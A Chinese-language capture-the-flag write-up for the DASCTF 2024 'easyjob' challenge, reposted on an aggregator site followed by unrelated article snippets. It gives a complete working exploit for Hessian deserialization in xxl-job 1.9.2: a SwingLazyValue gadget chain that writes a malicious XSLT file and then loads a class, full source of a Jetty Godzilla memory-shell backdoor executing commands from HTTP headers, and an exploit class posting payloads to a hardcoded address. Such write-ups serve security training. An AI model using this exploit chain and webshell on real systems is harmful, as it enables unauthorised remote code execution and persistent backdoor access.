DASCTF 2024暑期挑战赛 easyjob

news2024/9/22 19:32:15

DASCTF 2024暑期挑战赛 easyjob

下载附件没有什么特别的,不过很明显是xxl-job的应用,而且是1.9.2版本的

我们去搜索文章https://xz.aliyun.com/t/13899

猜测有两个可能

一个是打api,一个打executor未授权

首先打api的话可以参考https://www.cnblogs.com/ph4nt0mer/p/13913252.html

简单来说就是访问到api后调用invoke方法

private RpcResponse doInvoke(HttpServletRequest request) {
        try {
            // deserialize request
            byte[] requestBytes = HttpClientUtil.readBytes(request);
            if (requestBytes == null || requestBytes.length==0) {
                RpcResponse rpcResponse = new RpcResponse();
                rpcResponse.setError("RpcRequest byte[] is null");
                return rpcResponse;
            }
            RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

            // invoke
            RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
            return rpcResponse;
        } catch (Exception e) {
            logger.error(e.getMessage(), e);

            RpcResponse rpcResponse = new RpcResponse();
            rpcResponse.setError("Server-error:" + e.getMessage());
            return rpcResponse;
        }
    }
    

我们可以看到就是把body Hessian反序列化

所以目标又变成打hessian反序列化了,看了看题目的依赖,第一肯定是打jndi注入咯,但是不行,题目不出网,转手打内存马,打内存马首先利用Rome+temp的组合,但是发现没有rome依赖,我们选择使用heesian原生的链子来打

现在目前已知的触发的有两种方法,第一就是异常触发tostring,然后还有就是通过put方法作为参数,触发的hashcode等

然后原生反序列化的话可以打这个

PKCS9Attributes#toString
	UIDefaults#get
		UIDefaults#getFromHashTable
			UIDefaults$LazyValue#createValue
			SwingLazyValue#createValue
			createValue可以触发任意类的任意静态方法

我们这里因为要打内存马,有三种选择

静态方法而且可以加载类的话有我们的JavaWrapper._mian方法

可以加载bcel字节,但是打内存马还是太麻烦了,bcel打内存马的话需要全反射

这里利用的就是XSLT,因为com.sun.org.apache.xalan.internal.xslt.Process的_main方法

可以去解析我们的xslt文件

至于这个文件就不管了

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
                xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
>
    <xsl:template match="/">
        <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'base64')"/>
        <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
        <xsl:variable name="rce" select="ru:defineClass('classname',$bs,$cl)"/>
        <xsl:value-of select="$rce"/>
    </xsl:template>
</xsl:stylesheet>


可以加载恶意类

然后还需要一个写这个文件的paylaod,还是一样的paylaod,不过是使用com.sun.org.apache.xml.internal.security.utils.JavaUtils", “writeBytesToFilename”

就是把字节写到文件中

最后的一把梭哈的paylaod,是参考https://blog.csdn.net/Err0r233/article/details/140818646师傅的

对了还没有说打什么内存马呢,因为是jetty框架的,打jetty内存马

package com.xxl.job.core;

import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import sun.misc.Unsafe;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Scanner;

//author:Boogipop

public class JettyGodzillaMemshell extends AbstractHandler {
    String xc = "3c6e0b8a9c15224a"; // key
    String pass = "username";
    String md5 = md5(pass + xc);
    Class payload;
    public static String md5(String s) {
        String ret = null;
        try {
            java.security.MessageDigest m;
            m = java.security.MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
        } catch (Exception e) {
        }
        return ret;
    }
    public JettyGodzillaMemshell() {
        System.out.println(1);
    }

    public JettyGodzillaMemshell(int s) {
        System.out.println(2);
    }

    static {
        try {
            HttpConnection valueField = getValueField();
            HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
            Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
            mutableWhenRunning.setAccessible(true);
            mutableWhenRunning.set(handler,true);
//            handler.addHandler(new JettyHandlerMemshell(1));
            Handler[] handlers = handler.getHandlers();
            Handler[] newHandlers=new Handler[handlers.length+1];
            newHandlers[0]=new JettyGodzillaMemshell(1);
            for (int i = 0; i < handlers.length; i++) {
                newHandlers[i + 1] = handlers[i];
            }
            handler.setHandlers(newHandlers);

        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
    private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
        Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        unsafe.setAccessible(true);
        sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
        return theunsafe;
    }
    private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
        Unsafe unsafe = getUnsafe();
        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
        Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
        Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
        for(int i=0;i<threads.length;i++) {
            try {
                Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
                Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
                Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
                for(int j=0;j<table.length;j++){
                    try {
                        //HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                        //PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
                        //writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
                        //writer.flush();
                        Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
                        if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
                            return (HttpConnection)value;
                        }
                    }
                    catch (Exception e){

                    }
                }

            } catch (Exception e) {

            }
        }
        return null;
    }
    public static String base64Encode(byte[] bs) throws Exception {
        Class base64;
        String value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
    public static byte[] base64Decode(String bs) throws Exception {
        Class base64;
        byte[] value = null;
        try {
            base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
        } catch (Exception e) {
            try {
                base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
            } catch (Exception e2) {
            }
        }
        return value;
    }
    public byte[] x(byte[] s, boolean m) {
        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
            return c.doFinal(s);
        } catch (Exception e) {
            return null;
        }
    }

    @Override
    public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        try {
            if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
                String cmd = request.getHeader("cmd");
                if (cmd != null && !cmd.isEmpty()) {
                    String[] cmds = null;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        cmds = new String[]{"cmd", "/c", cmd};
                    } else {
                        cmds = new String[]{"/bin/bash", "-c", cmd};
                    }
                    base.setHandled(true);
                    String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
                    ServletOutputStream outputStream = response.getOutputStream();
                    outputStream.write(result.getBytes());
                    outputStream.flush();
                }
            }
            else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
                // 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
                byte[] data = base64Decode(request.getParameter(pass));
                data = x(data, false);
                if (payload == null) {
                    URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
                    Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                    defMethod.setAccessible(true);
                    payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
                } else {
                    java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                    Object f = payload.newInstance();
                    f.equals(arrOut);
                    f.equals(data);
                    f.equals(request);
                    base.setHandled(true);
                    ServletOutputStream outputStream = response.getOutputStream();
                    outputStream.write(md5.substring(0, 16).getBytes());
                    f.toString();
                    outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
                    outputStream.write(md5.substring(16).getBytes());
                    outputStream.flush();
                    return ;
                }
            }
        } catch (Exception e) {
        }
    }
}


paylaod

有个细节就是一般我们打反序列化,题目都是base64去输入,但是这次是直接输入字节码,这样就会很麻烦了,就需要自己写一个post的逻辑了

public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
        URL url = new URL(urlString);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

        try {
            // 设置请求方法为POST
            connection.setRequestMethod("POST");
            // 允许输入输出
            connection.setDoOutput(true);
            // 设置请求头
            connection.setRequestProperty("Content-Type", "application/octet-stream");  // 根据需要设置Content-Type

            // 写入请求体
            try (OutputStream os = connection.getOutputStream()) {
                os.write(rawData);
                os.flush();
            }

            // 读取响应
            try (InputStream is = connection.getInputStream()) {
                StringBuilder response = new StringBuilder();
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = is.read(buffer)) != -1) {
                    response.append(new String(buffer, 0, bytesRead, "utf-8"));
                }
                return response.toString();
            }
        } finally {
            connection.disconnect();
        }
    }

综合就是

package com.Err0r233;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class exp {
    public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
        URL url = new URL(urlString);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();

        try {
            // 设置请求方法为POST
            connection.setRequestMethod("POST");
            // 允许输入输出
            connection.setDoOutput(true);
            // 设置请求头
            connection.setRequestProperty("Content-Type", "application/octet-stream");  // 根据需要设置Content-Type

            // 写入请求体
            try (OutputStream os = connection.getOutputStream()) {
                os.write(rawData);
                os.flush();
            }

            // 读取响应
            try (InputStream is = connection.getInputStream()) {
                StringBuilder response = new StringBuilder();
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = is.read(buffer)) != -1) {
                    response.append(new String(buffer, 0, bytesRead, "utf-8"));
                }
                return response.toString();
            }
        } finally {
            connection.disconnect();
        }
    }
    public static void step1() throws Exception{
        UIDefaults uiDefaults = new UIDefaults();
        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
                "                xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
                "                xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
                "                xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
                "                xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
                ">\n" +
                "    <xsl:template match=\"/\">\n" +
                "        <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64')\"/>\n" +
                "        <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
                "        <xsl:variable name=\"rce\" select=\"ru:defineClass('classname',$bs,$cl)\"/>\n" +
                "        <xsl:value-of select=\"$rce\"/>\n" +
                "    </xsl:template>\n" +
                "</xsl:stylesheet>";
        String base64Code = "内存马的base64编码";
        String xslt = xsltTemplate.replace("base64", base64Code);
        xslt = xslt.replace("classname", "com.Err0r233.JettyGodzillaMemshell");
        SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",xslt.getBytes()});
        uiDefaults.put("aaa", swingLazyValue);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        SetValue(mimeTypeParameterList, "parameters", uiDefaults);
        byte[] data = ser(mimeTypeParameterList);
        System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
    }
    public static void step2() throws Exception{
        UIDefaults uiDefaults = new UIDefaults();
        SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}});
        uiDefaults.put("aaa", swingLazyValue);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        SetValue(mimeTypeParameterList, "parameters", uiDefaults);
        byte[] data = ser(mimeTypeParameterList);
        System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
    }

    public static void main(String[] args) throws Exception {
        step1();
        step2();
    }

    public static void SetValue(Object obj, String name, Object value) throws Exception{
        Class clz = obj.getClass();
        Field field = clz.getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] ser(Object obj) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        //允许反序列化NonSerializable
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

        //触发expect:
        baos.write(67);
        hessian2Output.writeObject(obj);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }
}

image-20240815183221009

这个是正常的,不管他,直接继续打就好了

在header输入

x-fuck-data: cmd
cmd: whoami

image-20240815183304474

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2042026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

案例分享—国外深色UI界面设计赏析

在国外&#xff0c;深色界面设计&#xff08;Dark Mode&#xff09;已成为提升用户体验的重要趋势。它不仅有效减少屏幕亮度&#xff0c;保护用户视力&#xff0c;还能在夜晚或低光环境下提供更加舒适的浏览体验。设计师们普遍认识到&#xff0c;深色主题不仅提升了应用的视觉层…

.NET+WPF 桌面快速启动工具 GeekDesk

目录 前言 项目介绍 安装使用 1、下载安装 2、启动界面 项目功能 1、快速搜索程序和文件 2、显示设置 3、自定义壁纸 4、毛玻璃效果 5、自定义菜单图标 6、定时提醒 总结 项目地址 最后 前言 大家在平时工作中&#xff0c;是不是经常为了找某个文件或者应用而在…

[Qt][Qt 事件][下]详细讲解

目录 1.定时器0.是什么&#xff1f;1.QTimerEvent2.QTimer3.获取系统⽇期及时间 2.事件分发器1.概述2.事件分发器工作原理3.使用 3.事件过滤器0.是什么&#xff1f;2.使用 1.定时器 0.是什么&#xff1f; 在进⾏窗⼝程序的处理过程中&#xff0c;经常要周期性的执⾏某些操作&…

C++STL初阶(11):stack和queue的使用

栈和队列的先导知识在这里&#xff1a;C语言基础数据结构——栈和队列_栈和队列 插入取出数据-CSDN博客 1.容器适配器 从栈和队列开始&#xff0c;不少教材就不叫他们容器了&#xff0c;而是叫容器适配器 栈不是一种完全不同的数据结构&#xff0c;而是基于顺序表或者链表而实现…

家里总有宠物浮毛怎么办?除了宠物空气净化器真没更轻松的招了!

从几年前口罩问题爆发开始&#xff0c;我就养成了自我防护的习惯&#xff0c;家里常备口罩、消毒水&#xff0c;每天也会定时开窗通风。但是&#xff0c;由于现在天气热了&#xff0c;大多时候都闷在家里开着空调。家里两只猫时不时打个架&#xff0c;满屋子那猫毛飞得啊&#…

算法日记day 39(动归之打家劫舍)

一、打家劫舍1 题目&#xff1a; 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在同一晚上被小偷闯入&#xff0c;系统会自动报警。…

Containerd 介绍

早之前的 Docker Engine 中就有了 containerd&#xff0c;只不过现在是将 containerd 从 Docker Engine 里分离出来&#xff0c;作为一个独立的开源项目&#xff0c;目标是提供一个更加开放、稳定的容器运行基础设施。分离出来的 containerd 将具有更多的功能&#xff0c;涵盖整…

centos7安装Oracle 11g数据库

目录 一、安装前准备1、安装前置工具&#xff08;安装过可以忽略&#xff09;2、更配yum源2.1、备份原有源&#xff1b;2.2、下载阿里云base源和epel源&#xff1b;2.3、清理yum缓存2.4、生成新的缓存2.5、更新系统中所有软件到最新版&#xff08;按需谨慎操作&#xff09; 3 修…

做代理海外仓赚钱?代理仓如何实现盈利?

随着跨境电商与物流的火热&#xff0c;海外仓作为跨境贸易的新基建&#xff0c;也成为了一门生意。具体来说海外仓商业模式是一种通过在跨境贸易中设置离岸仓库&#xff0c;为客户提供包括商品存储、包装、发货、退货和售后服务等一系列跨境电商服务的商业模式。 海外仓的成本主…

跟《经济学人》学英文:2024年08月10日这期 A history-lover’s guide to the market panic over AI

A history-lover’s guide to the market panic over AI Past technologies offer clues to what comes next 原文&#xff1a; Andrew Odlyzko, a professor of mathematics at the University of Minnesota, has a side hustle: he has become one of the world’s foremo…

19523 最长上升子序列长度

### 分析 1. **问题描述**&#xff1a; - 给定一个序列&#xff0c;要求找到最长上升子序列的长度。 - 子序列可以是不连续的&#xff0c;但必须保持顺序。 2. **解决方案**&#xff1a; - 使用动态规划&#xff08;Dynamic Programming, DP&#xff09;来解决这个问…

RCE---无字母数字webshell

<?php if(isset($_GET[code])){$code $_GET[code];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]/",$code)){die("NO.");}eval($code); }else{highlight_file(__FILE__); } 分析代码&#xff1a;传参不大于35&…

让可视化大屏摆脱面子工程的12个方法

提到可视化大屏&#xff0c;很多老铁就认为这是面子工程&#xff0c;花里胡哨&#xff0c;没啥用处&#xff0c;这固然和认知有关系&#xff0c;那么有没有办法让可视化大屏摆脱这种认知吗&#xff0c;千汇数据工场介绍往日经验&#xff0c;与大家探讨下。 可视化大屏面子工程…

C语言典型例题37

《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 例题3.5 按照按照考试成绩的等级输出百分制分数段&#xff0c;A等为85分以上&#xff0c;B等为70~84分&#xff0c;C等为 60~69分&#xff0c;D等在60分以下&#xff0c;成绩的等级从键盘输入 代码&#xff1a; //…

2024最新上门按摩系统源码APP打包教程!

**xhadmin、免费、开源、可商用** 上门按摩这两年很火&#xff0c;某宝、某鱼上盗版系统盛行&#xff0c;大都是留有后门的系统&#xff0c;加密授权&#xff0c;根本二开不了。 近期很多人反馈我们的上门按摩系统APP打包困难&#xff0c;今天我手把手教大家如何打包上门按摩A…

【CanMVK230】CanMV K230 开箱

【CanMVK230】CanMV K230 开箱 CanMV 是什么CanMV K230开发板硬件资源能做什么 开箱&#xff01;配套资料其他学习资料 K230我买到啦~。话不多说&#xff0c;开始分享我的使用过程。欢迎大神指点。 CanMV 是什么 CanMV开源项目由嘉楠科技&#xff08;Canaan&#xff09;官方创建…

【关于CVE-2024-38077 Windows Server 2012和Windows Server 2018安装安全补丁指南】

文章目录 背景问题描述产生原因解决方案解决步骤1. 安装BypassESU工具2. 补丁安装方法一&#xff1a;使用 Windows 更新功能方法二&#xff1a;手动下载补丁并安装 补丁验证方法一&#xff1a;在“控制面板”-“程序”-”程序和功能”-“已安装更新”中检查是否存在 KBS040434 …

<Linux>进程概念-下

文章目录 目录 前言 一、环境变量 1. PATH 2. HOME 3. 其他环境变量 系统调用接口--getenv 4. 命令行参数 4.1 双参数main 4.2 三参数main 5. 设置环境变量 5.1 本地环境变量 5.1.1 内建命令 5.2 固定环境变量 6. 取消环境变量 7. 小总结 二、程序地址空间 1. 空间划分 2. 进…

haproxy负载均衡(twenty-eight day)

官网&#xff1a; https://www.haproxy.com/ 自由及开放源代码软件 HAPrOxy是一个使用C语言编写的自由及开旅酒代码软性&#xff0c;其提供高可用性、负我均衡&#xff0c;以及基于TCP和HTTP的应用程座代理 HAProxy特别适用于那些负载特大的webi些站点通常又需要会话保挂或七层…

单片机中时钟源(Clock Source)和时基源(Timebase Source)和的联系和区别

问题描述 在单片机中&#xff0c;时钟源&#xff08;Clock Source&#xff09;和时基源&#xff08;Timebase Source&#xff09;是两个与时间相关的基本概念&#xff0c;它们在单片机的时钟系统设计中扮演着重要角色。 区别与联系 1.区别 1.1定义 时钟源&#xff1a;是单片机…